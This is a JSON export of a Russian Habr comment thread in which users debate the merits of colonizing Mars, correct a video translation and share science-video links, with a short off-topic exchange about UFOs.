{ "id": [ 15643927, 15643929, 15643931, 15643933, 15643935, 15643937, 15643939, 15643941, 15643943, 15643945, 15643947, 15643949, 15643951, 15643953, 15643955, 15643957, 15643959, 15643961, 15643963, 15643965, 15643967, 15643969, 15643971, 15643973, 15643975, 15643977, 15643979, 15643981, 15643983, 15643985, 15643987, 15643989, 15643991, 15643993 ], "parent_id": [ null, null, 15643927, 15643927, 15643929, null, 15643937, 15643931, 15643941, null, 15643943, 15643947, 15643945, 15643947, null, null, null, 15643941, 15643941, 15643957, 15643965, 15643967, 15643947, null, null, null, 15643977, null, 15643971, 15643983, 15643983, 15643983, 15643989, 15643941 ], "level": [ 0, 0, 1, 1, 1, 0, 1, 2, 3, 0, 4, 5, 1, 5, 0, 0, 0, 3, 3, 1, 2, 3, 5, 0, 0, 0, 1, 0, 6, 7, 7, 7, 8, 3 ], "time_published": [ 1350075193, 1350075463, 1350075554, 1350075560, 1350075707, 1350078886, 1350081370, 1350082548, 1350085286, 1350089377, 1350093031, 1350102761, 1350108725, 1350109443, 1350121864, 1350123035, 1350123084, 1350129151, 1350129234, 1350129390, 1350133243, 1350133900, 1350134941, 1350137148, 1350142250, 1350143281, 1350145230, 1350145712, 1350148077, 1350148631, 1350152078, 1350152165, 1350154420, 1350422207 ], "score": [ 1, 0, 0, 0, 0, 0, 0, 10, 4, 5, -5, 0, 1, 1, 1, 2, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 1, 0, 0, 0, 0 ], "votes": [ 9, 0, 0, 0, 0, 0, 0, 16, 4, 5, 11, 0, 1, 1, 1, 2, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне почему-то колонизация марса для проживания кажется <i>возвращением</i> и шагом назад. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поясните мысль, аргументируйте.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это да, еще со времен Жуль Верна. Мне как-то попадался сайт, где скрупулезно были подсчитаны изобретения из фантастических романов, воплощенные в жизнь. К сожалению, я эту ссылку потеряла, и не уверена, что он до сих пор жив. Как показывает опыт, многие прекрасные интернет-ресурсы зачастую практически бесследно прекращают свое бытие. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да там вся серия хороша ).<br/>\r\n<br/>\r\nМы звездная пыль, обращаясь к Вселенной. <br/>\r\n15-й видеоролик из серии Симфония Науки с участием <a href=\"http://ru.wikipedia.org/wiki/%D0%A2%D0%B0%D0%B9%D1%81%D0%BE%D0%BD,_%D0%9D%D0%B8%D0%BB_%D0%94%D0%B5%D0%B3%D1%80%D0%B0%D1%81%D1%81\">Нила деГрасс Тайсона</a>, <a href=\"http://ru.wikipedia.org/wiki/%D0%A4%D0%B5%D0%B9%D0%BD%D0%BC%D0%B0%D0%BD,_%D0%A0%D0%B8%D1%87%D0%B0%D1%80%D0%B4_%D0%A4%D0%B8%D0%BB%D0%BB%D0%B8%D0%BF%D1%81\">Ричарда Фейнмана</a> и <a href=\"http://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B0%D1%83%D1%81%D1%81,_%D0%9B%D0%BE%D1%83%D1%80%D0%B5%D0%BD%D1%81_%D0%9C%D0%B0%D0%BA%D1%81%D0%B2%D0%B5%D0%BB%D0%BB\">Лоуренса Краусса</a>. <br/>\r\n<br/>\r\nМатериалы взяты из: <br/>\r\n<a href=\"http://www.youtube.com/watch?v=CAD25s53wmE\">Космические затруднительные положения с Нилом деГрасс Тайсоном</a><br/>\r\n<a href=\"http://www.youtube.com/watch?v=wiOwqDmacJo\">10 вопросов к де Нилу Деграсс Тайсону</a><br/>\r\n<a href=\"http://www.youtube.com/watch?v=tTFwDpr14Bo\">Невероятно — 2006 год с Нилом ДеГрасс Тайсоном</a><br/>\r\n<a href=\"http://www.youtube.com/watch?v=9D05ej8u-gU\">Самый поразительный факт с Нилом ДеГрасс Тайсоном</a><br/>\r\n<a href=\"http://www.youtube.com/watch?v=7ImvlS8PLIo\">Вселенная из ничего — Лоуренс Краусс</a><br/>\r\n<a href=\"http://www.youtube.com/playlist?list=PL2D30B1DEFFDA0310\">Интервью Фейнмана «Представить Фан</a>» <br/>\r\n<a href=\"http://www.imdb.com/title/tt1363109/\">Путешествие на край Вселенной</a><br/>\r\n<a href=\"http://www.pbs.org/wgbh/nova/space/finding-life-beyond-earth.html\">Поиск жизни за пределами Земли (NOVA)</a><br/>\r\n<a href=\"http://www.bbc.co.uk/programmes/b00zdhtg\">Чудеса Вселенной (BBC)</a><br/>\r\nСолнечный свет (Sunshine) — ?<br/>\r\n<br/>\r\nОтдельное спасибо всем, кто жертвует средства, чтобы наш проект жил. Наслаждайтесь! Текст: <br/>\r\n<br/>\r\n[Нил де Грасс Тайсон] Мы являемся частью этой Вселенной / Мы находимся в этой вселенной. / Вселенной в нас. / Да, Вселенная в нас.<br/>\r\n<br/>\r\n[Лоуренс Краусс] Каждый атом в вашем теле / пришел от звезды, которая взорвалась / Вы все звездная пыль / от звезды, которая взорвалась.<br/>\r\n<br/>\r\n[Тайсон] Посмотрите на ночное небо. / Мы все часть этого / Сама Вселенная / существует внутри нас. <br/>\r\n<br/>\r\nМы звездная пыль / в наивысшем возвышенном способе / Вызываемые Вселенной/ Обращение к вселенной. <br/>\r\n<br/>\r\nМы звездная пыль / в наивысшем возвышенном способе / Обращение к вселенной / с помощью методов и инструментов науки.<br/>\r\n<br/>\r\n[Ричард Фейнман] Встаньте в середине и наслаждайтесь всем этим с двух сторон / наша миниатюрность / грандиозность Вселенной.<br/>\r\n<br/>\r\n[Тайсон] Атомы, которые составляют человеческое тело, / прослеживаются в тиглях, где переплавляются легкие элементы / в тяжелые элементы.<br/>\r\n<br/>\r\nЭти звезды стали неустойчивыми в старости/ и затем взорвались/ рассеяв свои обогащенные внутренности / по всей галактике.<br/>\r\n<br/>\r\n[Припев] [Тайсон] Мы являемся частью этой Вселенной / мы находимся в этой вселенной / Вселенная в нас / Да, Вселенная находится в нас.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Заселение Марса — это просто романтика.<br/>\r\nПо мере узнавания различных фактов и гипотез мне всё больше кажется жизнеспособной идея того, что жизнь на Землю пришла с Марса. Раньше та планета была обитаема, теперь она умерла, а жизнь переместилась на нашу планету. Не знаю, в результате рассеивания «спор жизни» и последующей эволюции, либо высокоразвитые предки переместились осознанно, либо осознанное перемещение, гибель цивилизации (n раз?), новая эволюция. <br/>\r\nСейчас, глядя на шикарные снимки Марса, ознакомившись с дичайшими условиями с точки зрения выживания человека — мне кажется, жить там <i>нецелесообразно</i>. Это не другая звёздная система, где мы можем скрыться от Солнечной катастрофы. Это не «дачная» планета, где мы бы могли пересидеть флюктуации земного климата.<br/>\r\nЕсли уж не хватает жилплощади — гораздо прагматичнее попробовать решить этот вопрос за счёт своих неиспользуемых площадей: заселить Сибирь, «запустить» оживление пустынь, освоить мелководье, в конце-концов. В дубае, вон, острова намывают…<br/>\r\n<br/>\r\nХотя есть одна актуальная тема заселения Марса — я бы ссылал туда всех действующих чиновников-бюрокартов и желающих таковыми стать :) Вот уж воистину условия, когда выполнение обещаний типа «через четыре года здесь будет город-сад» становится жизненно важным!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, наверное — эмигрировали с Марса от катастрофы. Первые признаки жизни на Земле находят 3,8 млрд лет назад, и примерно в это время на Марс обрушился немаленький астероид, оставивший после себя огромную низменность в южном полушарии Марса — <a href=\"http://marstefo.ru/marsopediya/Hellas_Planitia/\">равнину Эллада, (Hellas Planitia)</a> — гигантский кратер глубиной около 9 км и протяженностью 2300 км с востока на запад. Сегодня Эллада считается крупнейшей ударной структурой на Марсе, ее лидерство оспаривает только <a href=\"http://marstefo.ru/marsopediya/North_Pole_Basin/\">Северный Бассейн (Borealis basin)</a>, занимающий 40% поверхности Марса, если будет доказано, что он также является следствием столкновения Марса с другим космическим телом. <br/>\r\n<br/>\r\nВы затронули пару две из причин «зачем осваивать Марс»:<br/>\r\n — повышение шансов человечества на выживание на случай катастрофы на Земле, не затрагивающей Солнечную Систему в целом;<br/>\r\n — при решении проблемы колонизации столь неуютной планеты неизбежно будут возникать технологии автономных жилых поселений, замкнутых экологических циклов, которые с успехом можно будет использовать на Земле для заселения неблагоприятных районов пустыни, тундры и т.п.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Перевод немножко подкачал:<br/>\r\n<br/>\r\nОригинал:<br/>\r\nIt's the challenge that's been staring us in the face for the past 30 years It has water, it has carbon<br/>\r\nПеревод:<br/>\r\nЭто вызов, который глядит нам в глаза. За последние 30 лет мы выяснили — там есть вода, есть углерод<br/>\r\nНа самом деле:<br/>\r\nВызов глядит нам в глаза последние 30 лет. Там есть вода, углерод<br/>\r\n<br/>\r\nМарс это место, которое мы можем достичь<br/>\r\nMars is a place we can settle<br/>\r\nМарс это место, где мы можем обосноваться<br/>\r\n<br/>\r\nглубиной 5000 километров.<br/>\r\n5,000 kilometers long<br/>\r\nдлиной 5000 километров.<br/>\r\n<br/>\r\nвозможны загрязнения<br/>\r\nBack-contamination<br/>\r\nзаражение внеземными микроорганизмами<br/>\r\n<br/>\r\nMars is a dry frozen version of our home сovered in red dust and sand<br/>\r\nМарс — сухой, замороженный, покрытый красной пылью и песком — кандидат на наш дом<br/>\r\nМарс — это сухая и замороженная версия нашего дома, покрытая красной пылью и песком<br/>\r\n<br/>\r\nИ у нас будут «глаза» и «уши» на поверхности<br/>\r\nWe now have «eyes» and «ears» on the surface<br/>\r\nТеперь у нас есть «глаза» и «уши» на поверхности<br/>\r\n<br/>\r\nWhat's left after you go is the good you've left behind<br/>\r\nТо, что осталось с вами после того, как вы пошли, лучше, чем то, что вы оставили позади<br/>\r\nКогда вы уйдете, останется то хорошее, что вы сами оставили<br/>\r\n<br/>\r\nА вообще, конечно, разделяю восхищение новыми перспективами человечества :) И невообразимо радует возвращение романтики в науку, той романтики, с которой начинаются великие открытия.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На мой взглял людям, как цивилизации, неправильно зацикливаться только на материальных аспектах.<br/>\r\nЯ не пытаюсь навязывать темы, которые интересны лично мне, я просто оставлю это<br/>\r\n<a href=\"http://www.startek.ru/CubeXFiles/Book_2/Part_3/Sasha.htm#link7\">www.startek.ru/CubeXFiles/Book_2/Part_3/Sasha.htm#link7</a><br/>\r\nкак одну из интересных попавшихся мне недавно страниц, расшатывающих фильтры сознания.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Расшатывает, надо сказать, не по-детски. Забористая.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо, сейчас поправлю. Меня тоже восхищают перспективы, а английский в процессе освоения.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А в чем расшатывание-то? Сознание человека вообще очень забавная штука, в любой из тоннелей реальности и любую мифологему можно погрузиться на годы, и находить там все новые и новые аспекты, которые лично для вас будут очевидными и значимыми. И любой текст в стиле «я знаю как на самом деле» лишь потуга охватить необъятное. С материальным миром в этом плане немного проще экспериментировать ). А субъективные фильтры позволяют увидеть практически все, во что вы в состоянии поверить ). Но это отдельная тема, из философов мне здесь нравится <a href=\"http://brb.silverage.ru/zhslovo/psiho/raw/?r=kp&amp;id=5\">Роберт Антон Уилсон</a> </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да там весь альбом доставляет =) Задонатил автору 6 баксов на бандкампе: немного, но зато слушаю постоянно, спасибо ему.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а где аргументация-то?<br/>\r\n<br/>\r\nсобственно я не вижу причин более менее массово тащиться на Марс прямо сейчас. разумнее будет сделать на Марсе условия как на Земле и только потом туда селиться. А до этого надо сделать вокруг Марса инфраструктуру ( которую надо бы еще развить вокруг Земли сначала ). Как следует изучить то что есть на Марсе сейчас и не в последнюю очередь его историю. И собственно провести террафирмирование, которое скорее всего будет губительно для всего живого на Марсе, потому как подразумевает разогрев ядра скорее всего чем-то высокоэнергетическим, высвобождение газов из коры и прочие катаклизмы :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">стиль напомнил Pogo <br/>\r\n<a href=\"http://www.youtube.com/user/Fagottron\">www.youtube.com/user/Fagottron</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сейчас есть две противостоящих позиции относительно пилотируемой космонавтики в Солнечной Системе — либо мы все делаем с помощью роботов и опираемся на перспективы использования искусственного интеллекта, либо все-таки запускаем людей-исследователей, которые обладают бОльшими возможностями по сравнению с роботами в части анализа ситуации и принятия решений. а также для проведения экспериментов, предваряющих широкомасштабные работы по терраформированию.<br/>\r\n<br/>\r\nПоэтому вопрос пока не в массово тащиться на Марс, а тащиться ли вообще или обходиться автоматизированными система исследования. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну без роботов обойтись совсем не получиться, поэтому этот вопрос превращается в то насколько быстро нам надо провести исследование Марса — с людьми и базой на Марсе процесс будет идти быстрее. Но мне не кажется что имеется хоть какой-то смысл торопиться. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А энтузиасты из Марсианского сообщества хотят на Марс уже сегодня и считают, что это здорово простимулирует и земную науку, и земную экономику, и повлияет на социальную и общественную жизнь в целом. И не просто хотят, а предпринимают изрядные организационные шаги в этом направлении. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Продолжая тему популяризации — мне летом понравилась статья в иноСМИ: <a href=\"http://inosmi.ru/world/20120731/195808100.html#ixzz29BiRghaw\">Почему интересоваться Марсом надо больше, чем Олимпиадой</a> («Huffington Post», США) Эндрю Кесслер (Andrew Kessler)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Минус напомнил <a href=\"http://youtu.be/UvDvawzJ3s8?hd=1\">youtu.be/UvDvawzJ3s8?hd=1</a><br/>\r\nНу и вообще, саундтрек у Machinarium шикарен.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На мой взгляд, колонизировать Марс нужно, несмотря на то что это действительно несколько нецелесообразно.<br/>\r\nТем не менее делать это нужно уж точно после строительства форпоста на Луне (добыча + заводы + в 6 раз проще доставить все это дело на орбиту).<br/>\r\nЗачем нужен Марс?:<br/>\r\n1. Отработка технологий и создание новых технологий. Можно много говорить на что мы способны в теории, но пока это не сделать и не испытать, толку от этого ноль.<br/>\r\n2. Исследование и реализация такого специфического действия как «Терраморфинг». Конечно можно жить под куполом — но зачем?<br/>\r\n3. Исследование эволюции видов (и человека) под действием втрое меньшей гравитации.<br/>\r\n4. Все это вместе — подготовка под по настоящему нужному делу. Терраморфирование и колонизация Венеры (гравитация = 0.8 !)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Многие на Венеру посматривают с большим вожделением, чем на Марс. Особенно сторонники дирижаблей.<br/>\r\n<br/>\r\nИ частично Вы затронули дискуссию между сторонниками колонизации Луны или Марса:<br/>\r\n<iframe width=\"560\" height=\"349\" src=\"http://www.youtube.com/embed/y8dyXrQNsnY\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"></iframe><br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Астрономов «беломор» уже не берет.<br/>\r\nСтали забивать в трубу от телескопа.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Полагать, что реально лишь то, что мы можем ощупать, почувствовать и измерить — очень узколобо и эгоцентрично. Нет вообще никаких предпосылок тому, что вокруг нас не существует десятки других цивилизаций, прямо сейчас, на земле, прямо рядом с нами. <br/>\r\nНе можете их увидеть? Нет для этого нужных рецепторов!<br/>\r\nЭто бред и человек способен всё осознать и объяснить? Тогда я попрошу вас экранировать гравитацию и указать местоположение тёмной материи!<br/>\r\nДействие гравитации и тёмной материи мы ощущаем, а миры вокруг себя нет? Я жил в доме со странной энергетикой и явлениями, которые не могу объяснить физикой, а также лично наблюдал НЛО, раскачивающееся в небе как маятник, а потом исчезнувшее, без спецэффектов, словно его выключили.<br/>\r\n<br/>\r\nВы можете оставаться скептиком, это ваш выбор и ваше право. <br/>\r\nМоё право — просто верить в то, что устройство космоса гораздо сложнее, чем это доступно нашему восприятию.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Только не нужно так переживать, ваши ощущения и переживания не оспариваются. Оспариваются интерпретации, которые легко порождаются сознанием в рамках любого из цивилизационных или личных мифов. Более того, наше восприятие легко адаптируется под то, во что мы верим и что готовы воспринимать, и легко отфильтровывает все, что в нашу картину мира не вписывается. <br/>\r\n<br/>\r\nК тому же для данной темы это точно оффтопик.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Бесплодный диалог в формате интернет-переписки. Давайте закончим.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А Сибирь скоро заселят, китайцы. И Антарктиду заселят. И океанское дно… <br/>\r\nДля того чтобы лететь в другую звездную систему, нужно сначала отработать заселение другой планеты. Марс как никто другой подходит для этого.</div>" ], "message_markdown": [ "Мне почему-то колонизация марса для проживания кажется возвращением и шагом назад.", "UFO just landed and posted this here", "UFO just landed and posted this here", "Поясните мысль, аргументируйте.", "Это да, еще со времен Жуль Верна. Мне как-то попадался сайт, где скрупулезно были подсчитаны изобретения из фантастических романов, воплощенные в жизнь. К сожалению, я эту ссылку потеряла, и не уверена, что он до сих пор жив. Как показывает опыт, многие прекрасные интернет-ресурсы зачастую практически бесследно прекращают свое бытие.", "UFO just landed and posted this here", "Да там вся серия хороша ).\nМы звездная пыль, обращаясь к Вселенной.\n15-й видеоролик из серии Симфония Науки с участием Нила деГрасс Тайсона, Ричарда Фейнмана и Лоуренса Краусса.\nМатериалы взяты из:\nКосмические затруднительные положения с Нилом деГрасс Тайсоном\n10 вопросов к де Нилу Деграсс Тайсону\nНевероятно — 2006 год с Нилом ДеГрасс Тайсоном\nСамый поразительный факт с Нилом ДеГрасс Тайсоном\nВселенная из ничего — Лоуренс Краусс\nИнтервью Фейнмана «Представить Фан»\nПутешествие на край Вселенной\nПоиск жизни за пределами Земли (NOVA)\nЧудеса Вселенной (BBC)\nСолнечный свет (Sunshine) — ?\nОтдельное спасибо всем, кто жертвует средства, чтобы наш проект жил. Наслаждайтесь! Текст:\n[Нил де Грасс Тайсон] Мы являемся частью этой Вселенной / Мы находимся в этой вселенной. / Вселенной в нас. / Да, Вселенная в нас.\n[Лоуренс Краусс] Каждый атом в вашем теле / пришел от звезды, которая взорвалась / Вы все звездная пыль / от звезды, которая взорвалась.\n[Тайсон] Посмотрите на ночное небо. / Мы все часть этого / Сама Вселенная / существует внутри нас.\nМы звездная пыль / в наивысшем возвышенном способе / Вызываемые Вселенной/ Обращение к вселенной.\nМы звездная пыль / в наивысшем возвышенном способе / Обращение к вселенной / с помощью методов и инструментов науки.\n[Ричард Фейнман] Встаньте в середине и наслаждайтесь всем этим с двух сторон / наша миниатюрность / грандиозность Вселенной.\n[Тайсон] Атомы, которые составляют человеческое тело, / прослеживаются в тиглях, где переплавляются легкие элементы / в тяжелые элементы.\nЭти звезды стали неустойчивыми в старости/ и затем взорвались/ рассеяв свои обогащенные внутренности / по всей галактике.\n[Припев] [Тайсон] Мы являемся частью этой Вселенной / мы находимся в этой вселенной / Вселенная в нас / Да, Вселенная находится в нас.", "Заселение Марса — это просто романтика.\nПо мере узнавания различных фактов и гипотез мне всё больше кажется жизнеспособной идея того, что жизнь на Землю пришла с Марса. Раньше та планета была обитаема, теперь она умерла, а жизнь переместилась на нашу планету. Не знаю, в результате рассеивания «спор жизни» и последующей эволюции, либо высокоразвитые предки переместились осознанно, либо осознанное перемещение, гибель цивилизации (n раз?), новая эволюция.\nСейчас, глядя на шикарные снимки Марса, ознакомившись с дичайшими условиями с точки зрения выживания человека — мне кажется, жить там нецелесообразно. Это не другая звёздная система, где мы можем скрыться от Солнечной катастрофы. Это не «дачная» планета, где мы бы могли пересидеть флюктуации земного климата.\nЕсли уж не хватает жилплощади — гораздо прагматичнее попробовать решить этот вопрос за счёт своих неиспользуемых площадей: заселить Сибирь, «запустить» оживление пустынь, освоить мелководье, в конце-концов. В дубае, вон, острова намывают...\nХотя есть одна актуальная тема заселения Марса — я бы ссылал туда всех действующих чиновников-бюрокартов и желающих таковыми стать :) Вот уж воистину условия, когда выполнение обещаний типа «через четыре года здесь будет город-сад» становится жизненно важным!", "Да, наверное — эмигрировали с Марса от катастрофы. Первые признаки жизни на Земле находят 3,8 млрд лет назад, и примерно в это время на Марс обрушился немаленький астероид, оставивший после себя огромную низменность в южном полушарии Марса — равнину Эллада, (Hellas Planitia) — гигантский кратер глубиной около 9 км и протяженностью 2300 км с востока на запад. Сегодня Эллада считается крупнейшей ударной структурой на Марсе, ее лидерство оспаривает только Северный Бассейн (Borealis basin), занимающий 40% поверхности Марса, если будет доказано, что он также является следствием столкновения Марса с другим космическим телом.\nВы затронули пару две из причин «зачем осваивать Марс»:\n— повышение шансов человечества на выживание на случай катастрофы на Земле, не затрагивающей Солнечную Систему в целом;\n— при решении проблемы колонизации столь неуютной планеты неизбежно будут возникать технологии автономных жилых поселений, замкнутых экологических циклов, которые с успехом можно будет использовать на Земле для заселения неблагоприятных районов пустыни, тундры и т.п.", "Перевод немножко подкачал:\nОригинал:\nIt's the challenge that's been staring us in the face for the past 30 years It has water, it has carbon\nПеревод:\nЭто вызов, который глядит нам в глаза. За последние 30 лет мы выяснили — там есть вода, есть углерод\nНа самом деле:\nВызов глядит нам в глаза последние 30 лет. Там есть вода, углерод\nМарс это место, которое мы можем достичь\nMars is a place we can settle\nМарс это место, где мы можем обосноваться\nглубиной 5000 километров.\n5,000 kilometers long\nдлиной 5000 километров.\nвозможны загрязнения\nBack-contamination\nзаражение внеземными микроорганизмами\nMars is a dry frozen version of our home сovered in red dust and sand\nМарс — сухой, замороженный, покрытый красной пылью и песком — кандидат на наш дом\nМарс — это сухая и замороженная версия нашего дома, покрытая красной пылью и песком\nИ у нас будут «глаза» и «уши» на поверхности\nWe now have «eyes» and «ears» on the surface\nТеперь у нас есть «глаза» и «уши» на поверхности\nWhat's left after you go is the good you've left behind\nТо, что осталось с вами после того, как вы пошли, лучше, чем то, что вы оставили позади\nКогда вы уйдете, останется то хорошее, что вы сами оставили\nА вообще, конечно, разделяю восхищение новыми перспективами человечества :) И невообразимо радует возвращение романтики в науку, той романтики, с которой начинаются великие открытия.", "На мой взглял людям, как цивилизации, неправильно зацикливаться только на материальных аспектах.\nЯ не пытаюсь навязывать темы, которые интересны лично мне, я просто оставлю это\nwww.startek.ru/CubeXFiles/Book_2/Part_3/Sasha.htm#link7\nкак одну из интересных попавшихся мне недавно страниц, расшатывающих фильтры сознания.", "Расшатывает, надо сказать, не по-детски. Забористая.", "Спасибо, сейчас поправлю. Меня тоже восхищают перспективы, а английский в процессе освоения.", "А в чем расшатывание-то? Сознание человека вообще очень забавная штука, в любой из тоннелей реальности и любую мифологему можно погрузиться на годы, и находить там все новые и новые аспекты, которые лично для вас будут очевидными и значимыми. И любой текст в стиле «я знаю как на самом деле» лишь потуга охватить необъятное. С материальным миром в этом плане немного проще экспериментировать ). А субъективные фильтры позволяют увидеть практически все, во что вы в состоянии поверить ). Но это отдельная тема, из философов мне здесь нравится Роберт Антон Уилсон", "Да там весь альбом доставляет =) Задонатил автору 6 баксов на бандкампе: немного, но зато слушаю постоянно, спасибо ему.", "а где аргументация-то?\nсобственно я не вижу причин более менее массово тащиться на Марс прямо сейчас. разумнее будет сделать на Марсе условия как на Земле и только потом туда селиться. А до этого надо сделать вокруг Марса инфраструктуру ( которую надо бы еще развить вокруг Земли сначала ). Как следует изучить то что есть на Марсе сейчас и не в последнюю очередь его историю. И собственно провести террафирмирование, которое скорее всего будет губительно для всего живого на Марсе, потому как подразумевает разогрев ядра скорее всего чем-то высокоэнергетическим, высвобождение газов из коры и прочие катаклизмы :)", "стиль напомнил Pogo\nwww.youtube.com/user/Fagottron", "UFO just landed and posted this here", "UFO just landed and posted this here", "Сейчас есть две противостоящих позиции относительно пилотируемой космонавтики в Солнечной Системе — либо мы все делаем с помощью роботов и опираемся на перспективы использования искусственного интеллекта, либо все-таки запускаем людей-исследователей, которые обладают бОльшими возможностями по сравнению с роботами в части анализа ситуации и принятия решений. а также для проведения экспериментов, предваряющих широкомасштабные работы по терраформированию.\nПоэтому вопрос пока не в массово тащиться на Марс, а тащиться ли вообще или обходиться автоматизированными система исследования.", "Ну без роботов обойтись совсем не получиться, поэтому этот вопрос превращается в то насколько быстро нам надо провести исследование Марса — с людьми и базой на Марсе процесс будет идти быстрее. Но мне не кажется что имеется хоть какой-то смысл торопиться.", "А энтузиасты из Марсианского сообщества хотят на Марс уже сегодня и считают, что это здорово простимулирует и земную науку, и земную экономику, и повлияет на социальную и общественную жизнь в целом. И не просто хотят, а предпринимают изрядные организационные шаги в этом направлении.", "UFO just landed and posted this here", "Продолжая тему популяризации — мне летом понравилась статья в иноСМИ: Почему интересоваться Марсом надо больше, чем Олимпиадой («Huffington Post», США) Эндрю Кесслер (Andrew Kessler)", "Минус напомнил youtu.be/UvDvawzJ3s8?hd=1\nНу и вообще, саундтрек у Machinarium шикарен.", "На мой взгляд, колонизировать Марс нужно, несмотря на то что это действительно несколько нецелесообразно.\nТем не менее делать это нужно уж точно после строительства форпоста на Луне (добыча + заводы + в 6 раз проще доставить все это дело на орбиту).\nЗачем нужен Марс?:\n1\\. Отработка технологий и создание новых технологий. Можно много говорить на что мы способны в теории, но пока это не сделать и не испытать, толку от этого ноль.\n2\\. Исследование и реализация такого специфического действия как «Терраморфинг». Конечно можно жить под куполом — но зачем?\n3\\. Исследование эволюции видов (и человека) под действием втрое меньшей гравитации.\n4\\. Все это вместе — подготовка под по настоящему нужному делу. Терраморфирование и колонизация Венеры (гравитация = 0.8 !)", "Многие на Венеру посматривают с большим вожделением, чем на Марс. Особенно сторонники дирижаблей.\nИ частично Вы затронули дискуссию между сторонниками колонизации Луны или Марса:", "Астрономов «беломор» уже не берет.\nСтали забивать в трубу от телескопа.", "Полагать, что реально лишь то, что мы можем ощупать, почувствовать и измерить — очень узколобо и эгоцентрично. Нет вообще никаких предпосылок тому, что вокруг нас не существует десятки других цивилизаций, прямо сейчас, на земле, прямо рядом с нами.\nНе можете их увидеть? Нет для этого нужных рецепторов!\nЭто бред и человек способен всё осознать и объяснить? Тогда я попрошу вас экранировать гравитацию и указать местоположение тёмной материи!\nДействие гравитации и тёмной материи мы ощущаем, а миры вокруг себя нет? Я жил в доме со странной энергетикой и явлениями, которые не могу объяснить физикой, а также лично наблюдал НЛО, раскачивающееся в небе как маятник, а потом исчезнувшее, без спецэффектов, словно его выключили.\nВы можете оставаться скептиком, это ваш выбор и ваше право.\nМоё право — просто верить в то, что устройство космоса гораздо сложнее, чем это доступно нашему восприятию.", "Только не нужно так переживать, ваши ощущения и переживания не оспариваются. Оспариваются интерпретации, которые легко порождаются сознанием в рамках любого из цивилизационных или личных мифов. Более того, наше восприятие легко адаптируется под то, во что мы верим и что готовы воспринимать, и легко отфильтровывает все, что в нашу картину мира не вписывается.\nК тому же для данной темы это точно оффтопик.", "UFO just landed and posted this here", "UFO just landed and posted this here", "Бесплодный диалог в формате интернет-переписки. Давайте закончим.", "А Сибирь скоро заселят, китайцы. И Антарктиду заселят. И океанское дно...\nДля того чтобы лететь в другую звездную систему, нужно сначала отработать заселение другой планеты. Марс как никто другой подходит для этого." ], "author": [ "Руслан Шарафутдинов (Compazavr)", "{}", "{}", "Cholgaa", "Cholgaa", "{}", "Cholgaa", "Руслан Шарафутдинов (Compazavr)", "Cholgaa", "iaroshenko", "Руслан Шарафутдинов (Compazavr)", "1514m", "Cholgaa", "Cholgaa", "Marat Kiniabulatov (Eskimo)", "Wott", "Михаил (exename)", "{}", "{}", "Cholgaa", "Wott", "Cholgaa", "{}", "Cholgaa", "evilive (DRUN)", "Владимир Зенин (wladimir90)", "Cholgaa", "urbain (urbain)", "Руслан Шарафутдинов (Compazavr)", "Cholgaa", "{}", "{}", "Руслан Шарафутдинов (Compazavr)", "Сергей (grey42)" ], "children": [ [ 15643931, 15643933 ], [ 15643935 ], [ 15643941 ], [], [], [ 15643939 ], [], [ 15643943, 15643961, 15643963, 15643993 ], [ 15643947 ], [ 15643951 ], [ 15643949, 15643953, 15643971 ], [], [], [], [], [ 15643965 ], [], [], [], [ 15643967 ], [ 15643969 ], [], [ 15643983 ], [], [], [ 15643979 ], [], [], [ 15643985, 15643987, 15643989 ], [], [], [ 15643991 ], [], [] ] }
335,676
ru
https://habr.com/ru/post/335676/
Bug Bounty: заработай на чужих ошибках
